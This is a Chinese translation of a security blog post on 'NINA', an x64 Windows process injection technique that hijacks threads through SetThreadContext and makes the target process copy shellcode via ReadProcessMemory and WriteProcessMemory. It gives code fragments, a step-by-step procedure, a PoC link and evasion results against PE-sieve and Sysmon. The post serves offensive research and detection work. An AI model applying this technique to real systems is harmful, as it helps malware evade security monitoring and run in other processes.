安全技术

x64 进程注入技术 —— NINA

zeronohacker · 6月5日 · 2020年 · 382次已读

本文翻译自:https://undev.ninja/nina-x64-process-injection/

原文作者:NTRAISEHARDERROR | @0x00dtm

1 前述

在本文中,我将详细介绍一种实验性的进程注入技术,其中对比较通用的和“危险”函数使用施加了严格的限制,即 WriteProcessMemory,VirtualAllocEx,VirtualProtectEx,CreateRemoteThread,NtCreateThreadEx,QueueUserApc 和 NtQueueApcThread。 我称这种技术为 NINA:No Injection,No Allocation。 该技术的目的是为了通过减少可疑的 call 数量而不需要复杂的 ROP 链进而达到更加的隐蔽效果。 PoC 可以在这里找到:

https://github.com/NtRaiseHardError/NINA

测试环境:

  • Windows 10 x64 version 2004
  • Windows 10 x64 version 1903

2 实现 No Injection

让我们从移除需要注入的数据这种情况开始。最基本的进程注入所需要的操作:

  • 包含 payload 的目标地址;
  • 将 payload 传递给目标进程;
  • 执行操作以执行 payload;

为了将重点放在 No Injection 部分,我将使用经典的 VirtualAllocEx 在远程进程中分配内存。 重要的是要防止页面同时具有写和执行权限,因此应首先设置 RW,然后在写入数据后用 RX 重新保护。 由于我稍后将讨论 No Allocation 方法,因此我们现在可以将页面设置为 RWX,以使事情变得简单。

如果我们限制自己不使用数据注入,则意味着恶意进程不会使用 WriteProcessMemory 将数据直接从自身传输到目标进程。 为了解决这个问题,我受到Deep Instinct(复杂)“Inject Me”进程注入技术(由 @slaeryan 分享)记录的反向 ReadProcessMemory 的启发。 还有其他将数据传递到进程的方法:使用 GlobalGetAtomName(来自 Atom Bombing 技术),以及通过命令行选项或环境变量传递数据(使用 CreateProcess 调用来生成目标进程)。 但是,这三种方法有一个小的限制,那就是 payload 不得包含 NULL 字符。 Ghost Writing 也许是一种选择,但它需要复杂的 ROP 链。

为了得到执行,我选择了 SetThreadContext 函数的线程劫持技术,因为我们不能使用 CreateRemoteThread,NtCreateThreadEx,QueueUserApc 和 NtQueueApcThread

下面是大体的一个过程:

  • CreateProcess 生成目标进程;
  • VirtualAllocEx 为 payload 和堆栈分配内存;
  • SetThreadContext 强制目标进程执行 ReadProcessMemory;
  • SetThreadContext 执行 payload;

2.1 CreateProcess

使用这种注入技术时应考虑一些注意事项。 第一个是来自 CreateProcess 的调用。 尽管此技术不依赖于 CreateProcess,但出于某些原因,使用它代替诸如 OpenProcess 或 OpenThread 之类的方法可能更有利。 原因之一是,没有远程(外部)进程访问权限来获取句柄,否则这些句柄可能会被使用ObRegisterCallbacks 的监视工具(例如 Sysmon)检测到。 另一个原因是,它允许使用命令行和环境变量进行上述两种数据注入方法。 如果您正在创建进程,则还可以利用 blockdll 和 ACG 来击败防病毒用户模式下 HOOK。

2.2 VirtualAllocEx

当然,目标进程需要能够容纳 payload,但是此技术还需要堆栈。 这将很快阐明。

2.3 ReadProcessMemory

要以相反的方式使用此功能,我们必须考虑两个问题:在堆栈上传递 5 个参数,并对我们自己的恶意进程使用有效的进程句柄。 让我们先来看第 5 个参数:

BOOL ReadProcessMemory(
  HANDLE  hProcess,
  LPCVOID lpBaseAddress,
  LPVOID  lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesRead
);

使用 SetThreadContext 仅允许在 x64 上使用前四个参数。 如果我们阅读 lpNumberOfBytesRead 的描述,我们可以看到它是可选的:

指向变量的指针,该变量接收传输到指定缓冲区的字节数, 如果 lpNumberOfBytesRead 为 NULL,则忽略该参数。

幸运的是,如果我们使用 VirtualAllocEx 创建页面,该函数会将它们归 0:

在指定进程的虚拟地址空间内保留,提交或更改内存区域的状态, 该函数将其分配的内存初始化为 0。

将堆栈设置为 0 分配的页面将使得第 5 个参数有效。

第二个问题是传递给 ReadProcessMemory 的进程句柄。 因为我们正试图让目标进程读取我们的恶意进程,所以我们需要为其提供处理程序的句柄。 这可以使用 DuplicateHandle 函数来实现。 它会被赋予我们当前进程句柄,并返回一个可以被目标进程使用的句柄。

2.4 SetThreadContext

SetThreadContext 是强大而灵活的功能,它允许读取,写入和执行。 但是,使用它传递 fastcall 参数存在一个已知问题:易失性寄存器 RCX,RDX,R8 和 R9 无法可靠地设置为所需值。考虑以下代码:

// Get target process to read shellcode
SetExecutionContext(
    // Target thread
    &TargetThread,
    // Set RIP to read our shellcode
    _ReadProcessMemory,
    // RSP points to stack
    StackLocation,
    // RCX: Handle to our own process to read shellcode
    TargetProcess,
    // RDX: Address to read from
    &Shellcode,
    // R8: Buffer to store shellcode
    TargetBuffer,
    // R9: Size to read
    sizeof(Shellcode)
);

如果执行此代码,我们期望当目标线程到达 ReadProcessMemory 时,易失性寄存器将保持其正确的值。但是,这不是实际发生的情况:

由于某些未知的原因,易失性寄存器被更改,使该技术无法使用。 RCX 不是进程的有效句柄,RDX 为 0,R9 太大。 我发现一种方法可以可靠地设置易失性寄存器:在使用 SetThreadContext 之前,只需将 RIP 设置为无限 jmp -2 循环即可。 让我们来看看它的作用:

可以使用 SetThreadContext 执行无限循环,然后可以使用正确的易失性寄存器调用 ReadProcessMemory:

现在我们需要处理返回。 请注意,我们已分配并转至我们自己的堆栈。 如果我们可以使用 ReadProcessMemory 将 Shellcode 读入 RSP 的堆栈位置,则可以设置 Shellcode 的前 8 个字节,以便它重新回到自身。 这是一个例子:

BYTE Shellcode[] = {
    // Placeholder for ret from ReadProcessMemory to Shellcode + 8
    0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE,
    // Shellcode starts here...
    0xEB, 0xFE, 0x01, 0x23, 0x45, 0x67, 0x89, 0xAA,
    0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x90, 0x90, 0x90
};

RSP 和 R8 指向 000001F457C21000。 向上的地址将用于 ReadProcessMemory 调用中的堆栈。 将要写入 Shellcode 的目标缓冲区从 R8 向下。 当 ReadProcessMemory 返回时,它将使用 shellcode 的前 8 个字节作为实际 shellcode 起始处的 000001F457C21008 的返回地址:

3 实现:No Allocation

现在让我们讨论如何通过移除对 VirtualAllocEx 的依赖来进行改进。 这与上一节相比并不那么琐碎,因为会出现一些初始问题:

  • 我们如何为 ReadProcessMemory 设置堆栈
  • 如果没有 RWX 节,如何使用 ReadProcessMemory 编写和执行 Shellcode

但是,为什么要在已经可以使用的内存中分配内存呢? 请记住,如果内存中的任何现有页面都受到影响,则应注意不要覆盖任何关键数据(如果应恢复原始执行流程)。

3.1 堆栈

如果我们无法为堆栈分配内存,则可以找到一个空白的 RW 页面来使用。如果担心 ReadProcessMemory 的第 5 个参数为 NULL,则可以轻松解决。 如果我们不想覆盖潜在的关键数据,则可以利用可执行映像内可能的 RW 页面内的节填充。 当然,这假定存在可用的填充。

要在可执行映像的内存范围内定位 RW 页面,我们可以通过进程环境块(PEB)定位映像的基址,然后使用 VirtualQueryEx 枚举范围。 此函数将返回诸如保护及其大小之类的信息,这些信息可用于查找任何现有的 RW 页面,以及它们的大小是否适合 Shellcode。

//
// Get PEB.
//
NtQueryInformationProcess(
    ProcessHandle,
    ProcessBasicInformation,
    &ProcessBasicInfo,
    sizeof(PROCESS_BASIC_INFORMATION),
    &ReturnLength
);
    
//
// Get image base.
//
ReadProcessMemory(
    ProcessHandle,
    ProcessBasicInfo.PebBaseAddress,
    &Peb,
    sizeof(PEB),
    NULL
);
    ImageBaseAddress = Peb.Reserved3[1];
    
//
// Get DOS header.
//
ReadProcessMemory(
    ProcessHandle,
    ImageBaseAddress,
    &DosHeader,
    sizeof(IMAGE_DOS_HEADER),
    NULL
);
    
//
// Get NT headers.
//
ReadProcessMemory(
    ProcessHandle,
    (LPBYTE)ImageBaseAddress + DosHeader.e_lfanew,
    &NtHeaders,
    sizeof(IMAGE_NT_HEADERS),
    NULL
);
    
//
// Look for existing memory pages inside the executable image.
//
for (SIZE_T i = 0; i < NtHeaders.OptionalHeader.SizeOfImage; i += MemoryBasicInfo.RegionSize) {
    VirtualQueryEx(
        ProcessHandle,
        (LPBYTE)ImageBaseAddress + i,
        &MemoryBasicInfo,
        sizeof(MEMORY_BASIC_INFORMATION)
    );

    //
    // Search for a RW region to act as the stack.
    // Note: It's probably ideal to look for a RW section 
    // inside the executable image memory pages because
    // the padding of sections suits the fifth, optional
    // argument for ReadProcessMemory and WriteProcessMemory.
    //
    if (MemoryBasicInfo.Protect & PAGE_READWRITE) {
        //
        // Stack location in RW page starting at the bottom.
        //
    }
}

找到正确的页面后,应从页面底部向上枚举堆栈的位置(由于堆栈的性质),并且应该为 ReadProcessMemory 的第五个参数找到一个 0x0000000000000000 的值。 这意味着我们需要确保堆栈偏移量距底部加 Shellcode 的空间至少为 0x28。

                   +--------------+
                   |     ...      |
                   +--------------+ -0x30
    Should be 0 -> |     arg5     |
                   +--------------+ -0x28
                   |     arg4     |
                   +--------------+ -0x20
                   |     arg3     |
                   +--------------+ -0x18
                   |     arg2     |
                   +--------------+ -0x10
                   |     arg1     |
                   +--------------+ -0x8
                   |     ret      |
                   +--------------+ 0x0
                   |   Shellcode  |
Bottom of stack -> +--------------+ 

下面是一些演示代码:

//
// Allocate a stack to read a local copy.
//
Stack = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, AddressSize);

//
// Scan stack for NULL fifth arg
//
Success = ReadProcessMemory(
    ProcessHandle,
    Address,
    Stack,
    AddressSize,
    NULL
);

//
// Enumerate from bottom (it's a stack).
// Start from -5 * 8 => at least five arguments + shellcode.
//
for (SIZE_T i = AddressSize - 5 * sizeof(SIZE_T) - sizeof(Shellcode); i > 0; i -= sizeof(SIZE_T)) {
    ULONG_PTR* StackVal = (ULONG_PTR*)((LPBYTE)Stack + i);
    if (*StackVal == 0) {
        //
        // Get stack offset.
        //
        *StackOffset = i + 5 * sizeof(SIZE_T);
        break;
    }
}

如果可执行文件的模块内没有 RW 页面,则可以执行后备操作以写入堆栈。 要查找远程进程的堆栈,我们可以执行以下操作:

NtQueryInformationThread(
    ThreadHandle,
    ThreadBasicInformation,
    &ThreadBasicInfo,
    sizeof(THREAD_BASIC_INFORMATION),
    &ReturnLength
);

ReadProcessMemory(
    ProcessHandle,
    ThreadBasicInfo.TebBaseAddress,
    &Tib,
    sizeof(NT_TIB),
    NULL
);
    
//
// Get stack offset.
//

Tib 中的结果将包含堆栈范围地址。 有了这些值,我们可以在使用代码之前从堆栈底部开始定位适当的偏移量。

3.2 写入 ShellCode

No Allocation 的主要问题是我们必须编写 ShellCode,然后在同一页面中执行它。 有一种方法可以不使用 VirtualProtectEx 或具有此特殊功能的复杂 ROP 链:WriteProcessMemory。 好的,我确实说过我们不能使用 WriteProcessMemory 将数据从我们的进程写入目标,但是我没有说我们不能强迫目标进程自己使用它。WriteProcessMemory 内部的隐藏机制之一是,它将相应地重新保护目标缓冲区的页面以执行写操作。 在这里,我们看到使用 NtQueryVirtualMemory 查询目标缓冲区的页面:

然后使用 NtProtectVirtualMemory 对页面进行写保护:

如果您已经注意到,WriteProcessMemory 会在函数开始时修改 shadow 堆栈。 在这种情况下,我们需要修改 ShellCode 以填充 shadow 堆栈:

BYTE Shellcode[] = {
    // Placeholder for ret from ReadProcessMemory to infinte jmp loop.
    0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE,
    // Pad for shadow stack.
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    // Shellcode starts here at Shellcode + 0x30...
    0xEB, 0xFE, 0x01, 0x23, 0x45, 0x67, 0x89, 0xAA,
    0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x90, 0x90, 0x90
};

现在我们需要依次调用 ReadProcessMemory 和 WriteProcessMemory。 回到 ReadProcessMemory 的返回中,我们可以简单地跳回到无限 jmp 循环小工具以暂停执行,而不是停止执行 ShellCode(现在位于不可执行的页面):

这使得恶意进程有时间调用另一个 SetThreadContext 将 RIP 设置为 WriteProcessMemory 并重用 ReadProcessMemory 中的 RSP。 我们可以从 ReadProcessMemory 复制的同一位置读取 ShellCode(将 0x30 字节复制到实际的 ShellCode),然后将具有执行许可权的任何页面作为目标(同样,假设有 RX 节)。

// Get target process to write the shellcode
Success = SetExecutionContext(
    &ThreadHandle,
    // Set rip to read our shellcode
    &_WriteProcessMemory,
    // RSP points to same stack offset
    &StackLocation,
    // RCX: Target process' own handle
    (HANDLE)-1,
    // RDX: Buffer to store shellcode
    ShellcodeLocation,
    // R8: Address to write from
    (LPBYTE)StackLocation + 0x30,
    // R9: size to write
    sizeof(Shellcode) - 0x30,
    NULL
);

当 WriteProcessMemory 返回时,它应再次返回到无限 jmp 循环,从而允许恶意进程对 SetThreadContext 进行最终调用以执行 ShellCode:

// Execute the shellcodez
Success = SetExecutionContext(
    &ThreadHandle,
    // Set RIP to execute shellcode
    &ShellcodeLocation,
    // RSP is optional
    NULL,
    // Arguments to shellcode are optional
    0,
    0,
    0,
    0,
    NULL
);

总体而言,整个注入过程如下:

  1. 将 SetThreadContext 设置为无限的 jmp 循环,以允许 SetThreadContext 可靠地使用易失性寄存器;
  2. 找到一个有效的 RW 堆栈(或伪堆栈)以承载 ReadProcessMemory 和 WriteProcessMemory 参数以及临时的 ShellCode;
  3. 使用 DuplicateHandle 为目标进程注册一个重复的句柄,以从恶意进程中读取 ShellCode;
  4. 使用 SetThreadContext 调用 ReadProcessMemory 复制 ShellCode;
  5. 在 ReadProcessMemory 之后返回无限 jmp 循环;
  6. 使用 SetThreadContext 调用 WriteProcessMemory 将 ShellCode 复制到 RX 页面;
  7. 在 WriteProcessMemory 之后返回无限 jmp 循环;
  8. 使用 SetThreadContext 调用 ShellCode;

4 关于检测

为了快速测试隐蔽性能,我使用了两个工具:hasherazade 的 PE-sieve 和 Sysinternal 的 Sysmon。 如果还有其他防御性监视工具,我很想看看这种技术与它们对抗的能力。

4.1 PE-sieve

我在玩 PE-sieve 时注意到的一点是,如果我们将 ShellCode 注入到 .text(或其他相关部分)的填充中,则根本不会检测到它:

如果 ShellCode 太大而无法填充,则另一个模块可能包含更大的空间。

4.2 Sysmon 事件

这些是使用 CreateProcess 调用而不是 OpenProcess 生成目标进程的预期结果。其他需要注意的是,DuplicateHandle 调用可能会触发 Sysmon 中 ObRegisterCallbacks 的进程句柄事件。并非如此,因为如果拥有相同句柄的进程执行了句柄访问,则 Sysmon 不会跟随该事件。 对于 AV 或 EDR,可能有所不同。

4.3 进一步改进

自从我真正着手完成这个(副项目)项目以来,我不会怀疑可能会忽略一些问题 – 我只需要探索这个想法,看看我能走多远。 关于恢复被劫持线程的执行,有可能并且我已经在 PoC 中实现了它,但是它取决于恶意进程,这可能是好事,也可能不是好事。

5 结论

因此,有可能不使用恶意进程中的 WriteProcessMemory,VirtualAllocEx,VirtualProtectEx,CreateRemoteThread,NtCreateThreadEx,QueueUserApc 和 NtQueueApcThread 来注入远程进程。 OpenProcess 和 OpenThread 的用法仍然值得商榷,因为有时使用 CreateProcess 生成目标进程并不总是这种情况。但是,它确实消除了许多可疑 call,这是此技术的目标。

由于 SetThreadContext 是一个如此强大的原始函数,并且对该函数和其他许多隐秘技术至关重要,因此是否会对此进行更多关注? 从我所看到的,Microsoft-Windows-Kernel-Audit-API-Calls ETW 提供程序中已经有可用的本机 Windows 日志记录。 我有兴趣了解进程注入的未来 …

(本文完)

0 条回应

必须 注册 为本站用户, 登录 后才可以发表评论!